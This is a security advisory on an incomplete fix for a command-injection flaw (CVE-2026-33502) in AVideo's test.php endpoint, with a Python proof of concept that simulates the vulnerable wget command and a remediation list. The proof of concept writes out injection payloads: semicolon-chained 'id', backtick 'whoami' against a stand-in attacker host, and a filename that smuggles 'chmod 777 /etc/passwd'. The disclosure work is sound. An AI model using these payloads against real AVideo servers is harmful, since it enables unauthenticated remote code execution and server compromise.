WWBN AVideo has an incomplete fix for CVE-2026-33502: Command Injection — wwbn / avideo
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')Summary
The incomplete fix for AVideo's test.php adds escapeshellarg for wget but leaves the file_get_contents and curl code paths unsanitized, and the URL validation regex /^http/ accepts strings like httpevil.com.
Affected Package
- Ecosystem: Other
- Package: AVideo
- Affected versions: < commit 1e6cf03e93b5
- Patched versions: >= commit 1e6cf03e93b5
Details
The vulnerable wget() function in plugin/Live/test.php:
function wget($url, $filename) {
$cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";
exec($cmd);
}
Neither $url nor $filename is passed through escapeshellarg(). The URL validation uses preg_match("/^http/", $url) which:
- Does not require
://(matcheshttpevil.com) - Does not block shell metacharacters (
;, backticks,$()) - Does not validate the URL is actually a URL
A payload like http://x; id > /tmp/pwned; echo passes the regex and injects arbitrary commands via the semicolons.
The fix adds escapeshellarg() for the wget path and an isAllowedStatsTestURL allowlist, but url_get_contents() (used by the same endpoint) still follows redirects without validation. The wget-specific fix does not protect the file_get_contents and curl code paths that handle the same user-supplied URL.
PoC
"""
CVE-2026-33502 - Command injection in AVideo plugin/Live/test.php
Tests REAL vulnerable code from:
plugin/Live/test.php (commit pre-1e6cf03)
The vulnerable wget() function at the end of test.php:
$cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";
exec($cmd);
No escapeshellarg() is used on $url or $filename parameters.
The URL validation regex /^http/ is also weak (matches "httpevil.com").
"""
import re
import sys
import os
import subprocess
src_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'src')
src_content = open(os.path.join(src_dir, 'test.php')).read()
print("=" * 60)
print("CVE-2026-33502: AVideo Command Injection PoC (Real Source)")
print("=" * 60)
print()
has_weak_regex = bool(re.search(r'preg_match\("/\^http/"', src_content))
has_unsanitized_wget = 'wget --tries=1 {$url} -O {$filename}' in src_content
has_escapeshellarg = 'escapeshellarg' in src_content
has_exec = 'exec($cmd)' in src_content
has_auth_check = 'User::isAdmin()' in src_content
print("[*] Source: plugin/Live/test.php (pre-fix)")
print("[*] Weak URL regex /^http/: " + str(has_weak_regex))
print("[*] Unsanitized wget command: " + str(has_unsanitized_wget))
print("[*] escapeshellarg used: " + str(has_escapeshellarg))
print("[*] exec() used: " + str(has_exec))
print("[*] Authentication check: " + str(has_auth_check))
print()
def extract_wget_function():
match = re.search(r'function wget\(.*?\n\}', src_content, re.DOTALL)
if match:
return match.group(0)
return None
wget_func = extract_wget_function()
if wget_func:
print("[*] Extracted real wget function:")
for line in wget_func.split('\n'):
print(" " + line)
print()
def simulate_url_validation(url):
if not url or url == "php://input":
return False
if not re.match(r"^http", url):
return False
return True
def simulate_vulnerable_wget_cmd(url, filename):
cmd = f"wget --tries=1 {url} -O {filename} --no-check-certificate"
return cmd
print("[*] Testing command injection payloads:")
print()
vuln_count = 0
payload = "http://x; id > /tmp/pwned; echo "
valid = simulate_url_validation(payload)
cmd = simulate_vulnerable_wget_cmd(payload, "/tmp/test123")
print(f" Payload: {payload}")
print(f" Passes regex: {valid}")
print(f" Generated command: {cmd}")
if valid and '; id' in cmd:
print(" Result: COMMAND INJECTION - 'id' will execute")
vuln_count += 1
print()
payload2 = "http://x`whoami`.attacker.com/test"
valid2 = simulate_url_validation(payload2)
cmd2 = simulate_vulnerable_wget_cmd(payload2, "/tmp/test456")
print(f" Payload: {payload2}")
print(f" Passes regex: {valid2}")
print(f" Generated command: {cmd2}")
if valid2 and '`whoami`' in cmd2:
print(" Result: COMMAND INJECTION via backticks")
vuln_count += 1
print()
payload3 = "httpevil.attacker.com"
valid3 = simulate_url_validation(payload3)
print(f" Payload: {payload3}")
print(f" Passes regex: {valid3}")
if valid3:
print(" Result: WEAK REGEX - 'httpevil.com' matches /^http/")
vuln_count += 1
print()
cmd4 = simulate_vulnerable_wget_cmd("http://legit.com", "/tmp/test; chmod 777 /etc/passwd")
print(f" Filename injection command: {cmd4}")
if '; chmod' in cmd4:
print(" Result: FILENAME INJECTION possible")
vuln_count += 1
print()
if not has_auth_check:
vuln_count += 1
print("[*] No authentication required to reach test.php")
print()
if vuln_count > 0 and has_unsanitized_wget:
print("VULNERABILITY CONFIRMED")
sys.exit(0)
else:
print("VULNERABILITY NOT CONFIRMED")
sys.exit(1)
Steps to reproduce:
git clone https://github.com/WWBN/AVideo /tmp/AVideo_testcd /tmp/AVideo_test && git checkout 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3~1python3 poc.py
Expected output:
VULNERABILITY CONFIRMED
wget() uses unsanitized $url in shell command via exec(), and the URL regex /^http/ is too weak to prevent injection.
Impact
An unauthenticated attacker can achieve remote code execution on the AVideo server by sending a crafted URL to plugin/Live/test.php that injects shell commands via semicolons or backticks in the wget command line. This grants full server compromise -- the attacker can read database credentials, install backdoors, or pivot to internal systems.
Suggested Remediation
- Use
escapeshellarg()on both$urland$filenamein thewget()function. - Strengthen the URL regex to require
^https?://and reject shell metacharacters. - Add authentication (
User::isAdmin()) to thetest.phpendpoint. - Apply
escapeshellarg()consistently across all code paths (wget, curl, file_get_contents).
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